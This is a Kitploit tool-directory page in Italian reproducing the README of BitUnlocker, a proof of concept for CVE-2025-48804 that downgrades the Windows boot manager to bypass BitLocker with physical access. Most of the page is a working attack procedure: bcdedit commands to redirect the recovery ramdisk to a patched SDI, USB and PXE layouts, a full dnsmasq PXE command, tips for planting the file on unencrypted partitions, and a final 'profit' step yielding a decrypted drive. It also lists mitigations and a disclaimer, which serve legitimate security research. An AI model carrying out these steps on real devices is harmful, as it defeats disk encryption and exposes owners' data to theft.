Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
BitUnlocker — Attacco di downgrade per CVE-2025-48804 | Kitploit
Strumenti/GitHubGitHub/garatc/bitunlocker
Analisi delle VulnerabilitàExploitPost-ExploitPenetration TestingSicurezza HardwareRed Teaming
GitHubgaratc/bitunlocker

BitUnlocker

Attacco di downgrade per CVE-2025-48804

Vedi Repository
223447 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Attacco di Downgrade BitUnlocker

License: MIT

Una prova di concerto per accedere a dischi crittografati con BitLocker in meno di 5 minuti su macchine Windows 11 completamente aggiornate tramite un attacco di downgrade del boot manager, sfruttando la vulnerabilità SDI originariamente documentata come CVE-2025-48804. La patch di luglio 2025 risolve questo problema in bootmgfw.efi, quindi qualsiasi bootmgfw.efi precedente alla patch, firmato con PCA 2011, può essere utilizzato per un attacco di downgrade, a condizione che il sistema di destinazione si fidi di questo PCA.

Questa PoC fornisce due metodi di distribuzione: avvio USB (più semplice e consigliato) e avvio PXE. Ma teoricamente, potresti anche solo copiare un file di avvio SDI in una delle partizioni non crittografate predefinite (ESP e Recovery) e non preoccuparti di USB o PXE - vedi la tabella "Casi limite".

Questo lavoro si basa interamente sulla ricerca di Microsoft STORM (Netanel Ben Simon e Alon Leviev):

BitUnlocker: Sfruttare il ripristino di Windows per estrarre i segreti di BitLocker


Prerequisiti

  • Accesso fisico a un dispositivo crittografato con BitLocker (solo TPM, PCR 7 + 11)
  • Il database Secure Boot del dispositivo si fida ancora del certificato Microsoft Windows PCA 2011
  • Una chiavetta USB (consigliata) o una macchina Linux con dnsmasq e un cavo Ethernet per PXE

Passo dopo passo

1. Scarica boot_patched.sdi da Releases (o crea il tuo file SDI, vedi sotto)

Mettilo in USB/sdi/ (per il metodo USB) o TFTP-root/sdi/ (per il metodo PXE).

2. Prepara il BCD modificato

Sul dispositivo di destinazione, apri un prompt dei comandi di WinRE (tieni premuto Shift mentre fai clic su Riavvia, poi Risoluzione dei problemi > Prompt dei comandi — fai clic su "Ignora questo disco" quando viene richiesta una chiave di ripristino di BitLocker e fai clic su "riavvia" se ti viene anche detto che il prompt dei comandi non può essere eseguito su un dispositivo bloccato — e se il prompt dei comandi non si apre, usa il tuo WinPE se puoi). Collega una chiavetta USB ed esegui:

root@kitploit:~
E: (or wherever your USB is)
bcdedit /export BCD_modded
bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi
bcdedit /store BCD_modded /enum all

Nell'output, trova la voce delle opzioni del dispositivo la cui descrizione è "Ripristino di Windows" e che contiene le voci ramdisksdidevice / ramdisksdipath. Prendi nota del suo GUID, poi:

root@kitploit:~
bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot
bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi
move BCD_modded BCD

Posiziona il file BCD risultante nella posizione appropriata in base al tuo metodo:

  • USB: USB/EFI/Microsoft/Boot/BCD
  • PXE: TFTP-root/Boot/BCD

3. Avvia il target

Opzione A: Avvio USB (consigliato)

Formatta una chiavetta USB come FAT32 e copia il contenuto della directory USB/ nella sua radice (solo il suo contenuto, non dovrebbe esserci una cartella "USB"). La chiavetta USB dovrebbe apparire così:

root@kitploit:~
USB stick root/
├── EFI/
│   ├── Boot/
│   │   └── bootx64.efi        # Boot manager pre-patch (PCA 2011)
│   └── Microsoft/
│       └── Boot/
│           └── BCD             # Il tuo BCD modificato
└── sdi/
    └── boot_patched.sdi        # SDI patchato con WinRE personalizzato

Collega la chiavetta USB al target e attiva un avvio UEFI USB — sia da WinRE (Usa un dispositivo) sia premendo il tasto del menu di avvio del produttore all'accensione (F12, F9, ecc.). Se la chiavetta USB non appare nell'elenco delle opzioni di avvio, cerca un'opzione "Avvia da file" nel menu di avvio UEFI, quindi naviga fino a EFI/Boot/bootx64.efi sulla chiavetta USB.

Opzione B: Avvio PXE

La directory TFTP-root/ è strutturata come segue:

root@kitploit:~
TFTP-root/
├── bootmgfw.efi                # Boot manager pre-patch (PCA 2011)
├── Boot/
│   └── BCD                     # Il tuo BCD modificato
├── EFI/
│   └── Microsoft/
│       └── Boot/
│           └── bootmgfw.efi    # Stesso boot manager pre-patch
└── sdi/
    └── boot_patched.sdi        # SDI patchato con WinRE personalizzato

Collega il target alla tua macchina Linux via Ethernet e avvia il server PXE:

root@kitploit:~
cd BitUnlocker
export INTERFACE=<your-interface>
export ABS_TFTP_ROOT=$(pwd)/TFTP-root

sudo ifconfig $INTERFACE 10.13.37.1
sudo dnsmasq --no-daemon \
  --interface="$INTERFACE" \
  --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \
  --dhcp-boot=bootmgfw.efi \
  --enable-tftp \
  --tftp-root="$ABS_TFTP_ROOT" \
  --log-dhcp \
  --tftp-max=65464 \
  --port=0

Attiva l'avvio PXE sul target — da WinRE seleziona Usa un dispositivo > Rete IPv4, o premi il tasto di avvio PXE del produttore.

4. Attendi il trasferimento SDI

Il boot manager caricherà il BCD, poi inizierà a scaricare boot_patched.sdi. Il file SDI è grande (~300 MB) quindi richiede un momento da USB, o diversi minuti via TFTP. Un messaggio relativo al ripristino con il percorso SDI dovrebbe apparire sullo schermo del target mentre si carica.

5. Profitto

Una volta completato il trasferimento, dovrebbe apparire un prompt dei comandi con il volume del sistema operativo decrittato e montato (tipicamente C: o E:). Se non è stato montato automaticamente o non vuoi indovinare la lettera, esegui diskpart -> sel vol X (quello che sembra il tuo drive crittografato) -> assign letter=C (o qualcos'altro) -> exit -> profitto

Casi limite


Crea il tuo file SDI

Ho incluso due script in scripts/:

  • patch_sdi.py — costruisce un file SDI modificato da un file boot.sdi e un file WinRE.wim
  • parse_sdi.py — analizza un file SDI per validarne la struttura e il contenuto

Il file boot_patched.sdi fornito in Releases contiene un WinRE.wim modificato in cui l'app di avvio è cmd.exe.

Casi non sfruttabili

  • TPM + PIN o TPM + file chiave è configurato e l'attaccante non lo conosce
  • KB5025885 è installato / il boot manager è stato migrato a CA 2023 — le macchine installate di recente dall'inizio del 2026 probabilmente vengono fornite per impostazione predefinita con un bootmgfw.efi firmato CA 2023. Per verificare, monta la partizione EFI e ispeziona il binario attivo: mountvol S: /s poi sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi. Nota che C:\Windows\Boot\EFI\bootmgfw.efi potrebbe differire dal file effettivamente utilizzato all'avvio — controlla sempre la copia nella partizione EFI.
  • Criterio PCR non predefinito — le configurazioni che coinvolgono PCR 0, 2 o 4 rileveranno il cambiamento nel percorso di avvio
  • PCA 2011 revocato tramite DBX — se il vecchio certificato è stato esplicitamente non fidato

Mitigazioni

  • Abilita TPM + PIN — un PIN pre-avvio impedisce al TPM di rilasciare il VMK senza interazione dell'utente, indipendentemente dalla manipolazione del percorso di avvio. Tieni presente, tuttavia, che non fermerebbe un insider a conoscenza del PIN.
  • Migra a Windows UEFI CA 2023 e applica KB5025885 per prevenire del tutto gli attacchi di downgrade

Crediti

Microsoft STORM (Netanel Ben Simon e Alon Leviev) per la ricerca originale su BitUnlocker e la divulgazione della vulnerabilità.


Licenza

Questo progetto è concesso in licenza con la Licenza MIT. Vedi il file LICENSE per i dettagli.

Dichiarazione di non responsabilità

Questo repository e tutto il suo contenuto sono forniti strettamente a scopo di test di sicurezza e ricerca autorizzati. Utilizza questo strumento solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta per il test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per qualsiasi uso improprio o danno derivante dall'utilizzo di questo materiale.

Scarica lo strumento
SituazioneCosa succede
BitLocker configurato con un PIN che conosciSchermata blu all'avvio — digita il PIN alla cieca (scusa non mi sono preoccupato dei font BitLocker in questo repo) e premi Invio
Schermata blu, nessun PINIl target è probabilmente migrato a CA 2023 — premi Escape e lascia comunque che il trasferimento SDI finisca, ma il drive crittografato con BitLocker sarà molto probabilmente bloccato alla fine
Solo USB-C / ThunderboltUsa un drive USB-C o un adattatore USB-Ethernet (per PXE)
File TFTP non trovato (a parte i file Font spazzatura di cui non ci interessa)I nomi dei file fanno distinzione tra maiuscole e minuscole — rinomina bootmgfw.efi in modo che corrisponda a ciò che richiede il target
Nessun avvio PXE o USB consentitoControlla la dimensione disponibile delle partizioni ESP e Recovery (diskpart -> list vol). Se c'è abbastanza spazio per il file Boot.sdi fornito (che è circa 300Mb) in una delle due partizioni, mettilo lì. Quindi, l'exploit sarà leggermente diverso (ma comunque altrettanto veloce) poiché dovrai modificare direttamente il file BCD del sistema di destinazione (per favore fai un backup) per puntare alla partizione host non crittografata (in particolare la voce BCD ramdisksdidevice), e sostituire il bootmgfw.efi del tuo target con quello fornito nella cartella TFTP di questo repo. In questo caso, assicurati di verificare che il boot manager del tuo target sia firmato da PCA 2011 (l'exploit non funzionerebbe comunque in quel caso, controlla sempre), altrimenti metterai il sistema in ripristino BitLocker. Inoltre, se non c'è abbastanza spazio per il file Boot.sdi che ho fornito in questo repo, potresti provare a crearne una versione più piccola, ci sono sicuramente alcuni modi per farlo (vedi la sezione "Crea il tuo file SDI" qui sotto)